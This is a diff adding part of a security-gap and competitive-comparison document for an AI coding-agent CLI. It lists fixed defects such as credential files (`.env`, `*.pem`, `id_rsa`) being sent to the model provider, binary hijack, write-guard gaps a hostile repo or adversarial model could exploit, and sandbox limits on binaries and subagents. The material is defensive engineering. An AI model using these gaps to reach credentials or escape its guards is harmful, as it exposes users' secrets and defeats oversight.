| 3.2 | Pre-load ships `.env`/`*.pem`/`id_rsa` to the provider | credential disclosure | done | ✅ **fixed, and it was fixed before this document said otherwise** — `gatherWorkspaceContext` runs every candidate through `refusedCommitPath`; re-measured and pinned by a test |
|
|
701
|
+
| 3.3 | `gh` resolved from cwd on Windows | binary hijack | done | ✅ **fixed 2026-08-12** — resolved through `resolveOnPath` to an absolute path (measured: `C:\Program Files\GitHub CLI\gh.EXE`), and the child now gets `scrubEnvironment(env)` instead of the API key |
|
|
702
|
+
| 3.4 | Write guard checks `segments[0]` only; `.github/` unlisted | supply chain | done | ✅ **fixed 2026-08-12** — every segment is checked, so `packages/web/node_modules/…` is refused. ⚠️ `.github/` `.husky/` `.vscode/` deliberately **left writable**: they are tracked and appear in every diff, "add a CI workflow" is an ordinary request, and refusing correct work is the more expensive mistake. Reasoning in `workspace.mjs`; revisit as a policy setting, not by extending the set. |
|
|
703
|
+
| 3.5 | Outage exits 0 / `ok: true` (and can print `✔ VERIFIED`) | CI correctness | done | ✅ **fixed 2026-08-12** — `sessionFailed` now reads `stoppedBecause === 'model-error'`, the summary names the provider instead of blaming the model, and the parallel path uses the same verdict function (it had the identical hole) |
|
|
704
|
+
| 3.6 | Reported model ≠ answering model; media caps and `--dry-run` gates; `audioB64` key bug | audit + correctness | mostly | ✅ **model attribution FIXED** (re-measured: the audit record carries `"answered":…,"chain":[…]`). ✅ **`audioB64` FIXED** — it sends `audio_b64` now. ✅ **`transcribe` FIXED** — it took no `dryRun` at all and had no size or type check, so an unbounded upload of any workspace file was one wrong argument away; now capped at 25MB, restricted to audio/video extensions, and refused under `--dry-run`. ⚠️ **DELIBERATELY NOT CHANGED:** `seePage` / `speak` / `makeDocument` still POST under `--dry-run`. They have always used `dryRun` to mean "do not WRITE", `designPass` passes it straight through to render-and-critique, and 15+ tests encode that meaning — **redefining the flag underneath a shipped feature is a product decision, not a bug fix.** Roman's call; forcing it broke 13 tests protecting the design loop. |
|
|
705
|
+
| 3.7 | README credential clause unscoped | documentation | 5 min | ✅ **fixed** |
|
|
706
|
+
| 3.8 | Documented `--max-rounds`/`--max-tokens` defaults wrong in both docs | documentation | 15 min | ✅ **fixed**, and now guarded by a test |
|
|
707
|
+
|
|
708
|
+
Total for what remains: **one deliberate open question — whether `--dry-run` should stop a render POST (§3.6) — and nothing else in this table.** Every other row is closed and pinned by a test in `test/enterprise-gaps.test.mjs` — a gap closed without a test is a gap that reopens on the next refactor, which is how three of these stayed open for weeks after being written down.
|
|
709
|
+
|
|
710
|
+
⚠️ **One gap has been closed since the first draft that is not in this table, because it
|
|
711
|
+
was never a defect — it was missing product:** there is now an audit log (§2.2/4).
|
|
712
|
+
|
|
713
|
+
---
|
|
714
|
+
|
|
715
|
+
## 4. What to build first, and why
|
|
716
|
+
|
|
717
|
+
Reordered 2026-08-11 against what is actually still open. Two items from the first
|
|
718
|
+
draft's list are struck because they are done.
|
|
719
|
+
|
|
720
|
+
1. **§3.2 — stop shipping secrets in the prompt.** *One hour.* First because it is the
|
|
721
|
+
only gap that discloses data on an ordinary, non-adversarial run — no hostile repo
|
|
722
|
+
required, no Windows required — and because it is what a security reviewer finds
|
|
723
|
+
first and cannot un-see. `NEVER_COMMIT` (`lib/git.mjs`) already exists; reuse it in
|
|
724
|
+
`CONTEXT_SKIP` (`lib/turn.mjs`) and in the executor's `readFile`.
|
|
725
|
+
2. **§3.1 — add config-hash consent before the first MCP spawn.** *2 hours.* The flag
|
|
726
|
+
gate is shut, so the remaining exposure is conditional on a hostile repo — but it is
|
|
727
|
+
still the highest severity on the list, and it now fires on the *ordinary* path,
|
|
728
|
+
which is the one everybody uses. Emit the audit event before `connectServer`, not
|
|
729
|
+
after, so a spawn that never returns still leaves a record naming the binary.
|
|
730
|
+
3. **§3.3 — route `gh` through `resolveExecutable`.** *30 minutes.* Third only because
|
|
731
|
+
it is Windows-and-configuration-scoped. The fix is copying a function this package
|
|
732
|
+
already wrote (`resolveExecutable`, `lib/mcp.mjs`), so it is nearly free and there is
|
|
733
|
+
no reason to defer it past the same commit block.
|
|
734
|
+
4. **§3.5 — make `sessionFailed` read `stoppedBecause`.** *30 minutes.* Now that the
|
|
735
|
+
audit log records the cause, the exit code is the last place still telling the shell
|
|
736
|
+
the wrong thing. This is the one that makes the product *usable* as a build step
|
|
737
|
+
rather than merely safe, and it is the gap that breaks the promise the exit codes
|
|
738
|
+
exist for.
|
|
739
|
+
5. **§3.4 — test every path segment, extend the set with `.github`, `.husky`,
|
|
740
|
+
`.vscode`, `.devcontainer`.** *15 minutes.* Below §3.5 because it requires the model
|
|
741
|
+
to be adversarial or badly wrong, whereas §3.5 fires on an ordinary rate limit.
|
|
742
|
+
6. **§3.6 — honest model attribution, media caps, the `audio_b64` key.** *~1 hour.*
|
|
743
|
+
Correctness and truthfulness, not exposure. The audit log already has the
|
|
744
|
+
`model.answered` field waiting for a value; populating it is one line and it turns a
|
|
745
|
+
permanently-null compliance field into a real one.
|
|
746
|
+
7. **Then a consent/approval gate for `delete_file` and out-of-plan writes.** The
|
|
747
|
+
remaining *new* control, and the one that makes unattended operation defensible.
|
|
748
|
+
8. **Then tamper-evidence for the audit log.** It is currently written into the workspace
|
|
749
|
+
by the same process that edits the workspace, which makes it evidence rather than
|
|
750
|
+
proof. Append-only hashing or an out-of-workspace destination is the next honest step,
|
|
751
|
+
and it should be sold as that step rather than implied today.
|
|
752
|
+
|
|
753
|
+
~~**An audit log.**~~ ✅ **Done** — it was item 7 on the first draft's list and the first
|
|
754
|
+
genuinely new enterprise control on it. `.acuvo/audit/<date>.jsonl`, redacted, bounded,
|
|
755
|
+
opt-out-able. See §2.2/4 for a real record and for the two things it still does not do.
|
|
756
|
+
|
|
757
|
+
~~**§3.7 — the README credential clause.**~~ ✅ Done.
|
|
758
|
+
|
|
759
|
+
⚠️ **What is deliberately *not* on this list:** an endpoint override, SSO, entitlements,
|
|
760
|
+
metering. Each is a real enterprise requirement (§2.2, items 6 and 8) and none of them is
|
|
761
|
+
a defect — they are unbuilt product, and building them before the defects above would be
|
|
762
|
+
shipping features on top of a list we have already written down.
|
|
763
|
+
|
|
764
|
+
---
|
|
765
|
+
|
|
766
|
+
## 5. Where we lose to Claude Code, Cursor and Copilot today
|
|
767
|
+
|
|
768
|
+
No spin. If any of these five is decisive for you, buy theirs.
|
|
769
|
+
|
|
770
|
+
### 5.1 ⚠️ Your tests probably do not run at all
|
|
771
|
+
|
|
772
|
+
`ALLOWED_BINARIES` is `node`, `npm`, `npx`, `tsc` (`lib/command.mjs`). A Python, Go,
|
|
773
|
+
Rust, Java, Ruby or .NET shop **cannot execute a single test** with this tool. The
|
|
774
|
+
run-and-fix loop — the thing that produces the 5/7 → 7/7 improvement — degrades to
|
|
775
|
+
"writes files and cannot check them".
|
|
776
|
+
|
|
777
|
+
This is structural, not an oversight: the whole safety argument in §2.1 is that the model
|
|
778
|
+
cannot pick a program. Every language we add is a new binary and a new argument grammar
|
|
779
|
+
to validate. Claude Code, Cursor and Copilot run whatever your shell runs, and for a
|
|
780
|
+
polyglot enterprise that is not a small advantage — it is the deciding one.
|
|
781
|
+
|
|
782
|
+
### 5.2 Horizon — and delegation, which is no longer absent
|
|
783
|
+
|
|
784
|
+
Default **5** rounds, hard ceiling **64** (`DEFAULT_MAX_ROUNDS` and `MAX_ROUNDS_LIMIT`,
|
|
785
|
+
`lib/cli-args.mjs` — this document previously said 3, then 8, see §3.8). The cap is a
|
|
786
|
+
deliberate cost decision and it is *also* a real capability loss: a refactor that needs
|
|
787
|
+
forty tool rounds cannot be expressed here.
|
|
788
|
+
|
|
789
|
+
⚠️ **This section was headed "the absence of delegation" and said "we have neither
|
|
790
|
+
sub-agents nor task delegation". Both halves are now false.** `delegate` ships
|
|
791
|
+
(`runSubagent` / `subagentToolSchemas`, `lib/subagent.mjs`; dispatched in `lib/tools.mjs`).
|
|
792
|
+
The honest description of what it is and is not:
|
|
793
|
+
|
|
794
|
+
- It is **read-only**. The helper is offered twelve tools, every one of them a read
|
|
795
|
+
(`SUBAGENT_TOOL_NAMES`) — no write, no edit, no commit, no execution — and `allowRun:
|
|
796
|
+
false` locks the dispatcher behind the offer, so `mutated: false` is a fact about the
|
|
797
|
+
tool surface rather than a convention.
|
|
798
|
+
- It is **one level deep** (`MAX_SUBAGENT_DEPTH` = 1). A helper cannot delegate again. Two
|
|
799
|
+
levels is how a five-round task becomes a hundred model calls nobody authorised.
|
|
800
|
+
- It is **capped at 6 rounds, 4 by default** (`MAX_SUBAGENT_ROUNDS`). A subagent must not
|
|
801
|
+
outspend its parent; a researcher needing more than a handful of rounds is being asked
|
|
802
|
+
the wrong question, and the honest answer is a worse summary rather than a bigger bill.
|
|
803
|
+
- It returns a **distilled summary**, ~900 characters, not the transcript — which is the
|
|
804
|
+
point: the parent's context is the scarce resource, and the win is that fifteen file
|
|
805
|
+
reads become three sentences.
|
|
806
|
+
- It **refuses rather than guessing** when no model credentials reached the dispatcher.
|
|
807
|
+
|
|
808
|
+
⭐ **The bug in it is worth stating too, because it is the class of bug this document keeps
|
|
809
|
+
finding.** The dispatcher passed `depth + 1`, so the top-level `delegate` refused *itself*
|
|
810
|
+
with "a helper cannot delegate again (depth 1)". All thirteen unit tests passed — every one
|
|
811
|
+
of them called `runSubagent` directly and none came through the dispatcher. One real run
|
|
812
|
+
found it immediately. Built is not wired, and only the real path can tell you which you have.
|
|
813
|
+
|
|
814
|
+
What is still true: Claude Code's agentic loops go further than ours, and delegation here
|
|
815
|
+
buys *context* rather than *horizon* — a helper cannot do work, only find things out.
|
|
816
|
+
`--resume <id>` and `--continue` remain the manual horizon extension: a saved conversation
|
|
817
|
+
is rebuilt and carried on without re-paying for the workspace gather (measured, the second
|
|
818
|
+
turn of a resumed task cost 11,516 tokens against the first turn's 17,312).
|
|
819
|
+
|
|
820
|
+
### 5.3 Model quality on the hard cases
|
|
821
|
+
|
|
822
|
+
We default to `deepseek/deepseek-v4-flash-0731` (`DEFAULT_MODEL`, `lib/model.mjs`). On a gnarly
|
|
823
|
+
multi-file refactor with subtle type interactions, a frontier model in Claude Code
|
|
824
|
+
produces a better answer than ours, and no amount of loop engineering closes that. Our
|
|
825
|
+
$0.00067-per-task number is real and it is not an argument that the output is equivalent.
|
|
826
|
+
|
|
827
|
+
### 5.4 No editor, and no diff you approve before it lands
|
|
828
|
+
|
|
829
|
+
Cursor and Copilot live *inside* the editor: inline completion, hunk-level accept/reject,
|
|
830
|
+
a diff you read before it is written. We have no editor presence at all, and we write
|
|
831
|
+
first and report afterwards (`lib/report.mjs`). Our report is good — line counts,
|
|
832
|
+
replaced-char proportion, a warning when a file shrank by 40% (`rewriteWarnings`,
|
|
833
|
+
`lib/report.mjs`) — but it is a *post-mortem*, not a review gate.
|
|
834
|
+
|
|
835
|
+
### 5.5 Context reach
|
|
836
|
+
|
|
837
|
+
`gatherWorkspaceContext` (`lib/turn.mjs`) walks **two levels deep** with a bounded file
|
|
838
|
+
count and byte budget. Cursor indexes the whole repository. We have `find_files` and
|
|
839
|
+
`search_text` (`searchToolSchemas`, `lib/search.mjs`) which materially close the gap
|
|
840
|
+
inside the loop, but on a large monorepo the first round starts with far less than a
|
|
841
|
+
competitor's does.
|
|
842
|
+
|
|
843
|
+
### 5.6 The enterprise checklist we mostly do not have
|
|
844
|
+
|
|
845
|
+
GitHub Copilot ships SSO, org policy, audit logging, a data-retention agreement,
|
|
846
|
+
zero-data-retention endpoints and SOC 2.
|
|
847
|
+
|
|
848
|
+
⭐ **One of those is now ours: audit logging** (§2.2/4) — redacted, bounded, one line per
|
|
849
|
+
run, opt-out-able, and verified by running it. It is genuine, and it is one item.
|
|
850
|
+
|
|
851
|
+
⭐ **And one that was a blocker in the last draft is not any more: the repository is
|
|
852
|
+
public.** `github.com/xxiautomate-star/acuvo-code` is open and clonable — verified
|
|
853
|
+
2026-08-11 by cloning it into an empty directory and running the CLI out of the result. A
|
|
854
|
+
stranger evaluating this document can now obtain the software it describes, which the
|
|
855
|
+
previous draft correctly said they could not.
|
|
856
|
+
|
|
857
|
+
Still absent: **no published npm package** (the registry returns 404 for both `acuvo-code`
|
|
858
|
+
and `acuvo`), and zero users.
|
|
859
|
+
|
|
860
|
+
⭐ **The single-file bundle is no longer absent, and this paragraph said it was.** It read
|
|
861
|
+
"`scripts/bundle.mjs` was never written, so the command exits 1 and its 44 tests skip".
|
|
862
|
+
Measured 2026-08-13: `npm run bundle` completes in **1.0s** and emits **1,829,742 bytes
|
|
863
|
+
across 61 modules**, which then runs `--version` and `--help` from a directory with no
|
|
864
|
+
source tree on the path. For an evaluator that is the shortest supply chain available —
|
|
865
|
+
one file, no registry, no install, nothing transitive to audit.
|
|
866
|
+
|
|
867
|
+
⚠️ Kept as a correction rather than a silent edit, because this document's own §5.7 is
|
|
868
|
+
about exactly this failure mode, and a stale *pessimistic* claim is not the safe direction
|
|
869
|
+
to err in: it tells a buyer we cannot do something we can.
|
|
870
|
+
|
|
871
|
+
If your procurement process starts with a questionnaire, we will fail it today.
|
|
872
|
+
|
|
873
|
+
### 5.7 ⚠️ And the one this document itself demonstrated
|
|
874
|
+
|
|
875
|
+
The claims in a document drift from the code faster than anyone believes. Two default
|
|
876
|
+
values in the README were wrong; a headline claim in §1.5 was disproved by a free plugin;
|
|
877
|
+
"18 shipped files" became 41; and thirty-four `file:line` citations rotted in under a
|
|
878
|
+
week — while 455 tests passed continuously, because no test in the package could see any
|
|
879
|
+
of it. Competitors with a documentation team and a release process have a control here
|
|
880
|
+
that we replaced with one test file (`test/docs-truth.test.mjs`) and a rule that citations
|
|
881
|
+
name symbols, not lines. Treat that as mitigation, not as parity.
|
|
882
|
+
|
|
883
|
+
### What we do not lose
|
|
884
|
+
|
|
885
|
+
For completeness, the properties none of them offers:
|
|
886
|
+
|
|
887
|
+
- ⭐ **It looks at what it built and returns a verdict, not a picture** (`seePage` /
|
|
888
|
+
`findingsFrom`, `lib/media.mjs`) — 89 tokens against a screenshot's 3,072, and it
|
|
889
|
+
abstains rather than guessing. ⚠️ Not "nobody else can see": they can, one install away.
|
|
890
|
+
The edge is the return value, and it is a head start rather than a moat.
|
|
891
|
+
- ⭐ **It produces PDF, PPTX, PNG, speech and transcripts** from the same loop
|
|
892
|
+
(`lib/media.mjs`), and generates imagery with no configuration and no account
|
|
893
|
+
(`lib/imagegen.mjs`) — critiqued before it is accepted, and reported as unreviewed when
|
|
894
|
+
no critic is available.
|
|
895
|
+
- ⭐ **Zero dependencies.** The entire auditable surface is 116 files and 76736 lines,
|
|
896
|
+
and there is no `node_modules` behind it. (Counted 2026-08-20 from
|
|
897
|
+
`lib/*.mjs` + `bin/*.mjs`; `test/docs-truth.test.mjs` fails the build if this number
|
|
898
|
+
drifts, which is why it went 18 → 41 → 46 → 52 → 53 → 57 → 60 → 61 → 62 → 65 → 66 → 69 → 70 → 71 → 72 → 73 → 80 → 84 → 90 → 100 → 101 → 102 → 103 → 107 → 108 → 111 as modules landed (111 = the three that were WRITTEN and imported by nothing — `python.mjs`, `cache-floor.mjs`, `plan-coherence.mjs`; 108 = `warm-provider.mjs`, which keeps a session on the upstream that holds its prompt cache; 107 = `login.mjs`, the command that stores an Acuvo credential — until it existed, `writeAccount` was called by nothing and every user fell through to BYOK). ⚠️ Two of those three landed on this count while remaining UNREACHABLE, which is the sharpest illustration this document has that a file count is a claim about bytes, never about capability. ⭐ A
|
|
899
|
+
count that fails the build is the only kind that stays true — this one has now caught its own
|
|
900
|
+
staleness seven times, most recently when `handoff.mjs` + `changed-paths.mjs` landed a
|
|
901
|
+
helper that can WRITE. ⚠️ And it was ALREADY red before that: HEAD carried 81 files against
|
|
902
|
+
a document saying 80, so the guard had been failing for at least one unrelated module — a
|
|
903
|
+
reminder that a build-failing count only stays true while somebody reads the failure.
|
|
904
|
+
⚠️⚠️ AND IT WAS WRONG ANYWAY, BY TWO, FOR A DAY. The guard asserted only that the
|
|
905
|
+
correct number appeared *somewhere* in this file, and `68` did — inside the unrelated
|
|
906
|
+
citation `lib/command.mjs:68` on line 9. A build-failing count matched a line number
|
|
907
|
+
and passed while the sentence above it said 66. The check is now anchored to the
|
|
908
|
+
word it is counting, because a guard that can be satisfied by a coincidence is not a
|
|
909
|
+
guard, it is a decoration that everyone trusts.
|
|
910
|
+
⚠️ **And the check is weaker than it reads:** it asserts the document *contains the
|
|
911
|
+
digits*, so a coincidental "53" anywhere passes it. Verified by mutation — replacing
|
|
912
|
+
this figure with the historical 41 left the suite green. Treat it as a reminder, not a
|
|
913
|
+
guarantee.)
|
|
914
|
+
- ⭐ **36 tools, and a `--doctor` that tells you which of them are actually live here**
|
|
915
|
+
(`TOOL_NAMES`, `lib/tools.mjs`; `lib/doctor.mjs`). It needs no API key and no network,
|
|
916
|
+
exits 0 only when nothing is broken, and every dark or broken line names the exact
|
|
917
|
+
environment variable that fixes it — including `MODAL_VIDEO_SECRET`, whose absence made
|
|
918
|
+
four working media tools look broken for an hour because a correctly-set URL *without*
|
|
919
|
+
it answers HTTP 200 with `{ok:false,error:"unauthorised"}`.
|
|
920
|
+
- ⭐ **The exit code is a verdict**, with `ran` and `passed` kept separate everywhere
|
|
921
|
+
(`toJson`, `lib/report.mjs`; `sessionFailed`, `lib/turn.mjs`) — modulo §3.5, which is on
|
|
922
|
+
the defect list precisely because we hold ourselves to it.
|
|
923
|
+
|
|
924
|
+
---
|
|
925
|
+
|
|
926
|
+
*Questions on any claim here should be answerable by opening the cited line. If one is
|
|
927
|
+
not, that is a defect in this document and we want to hear about it.*
|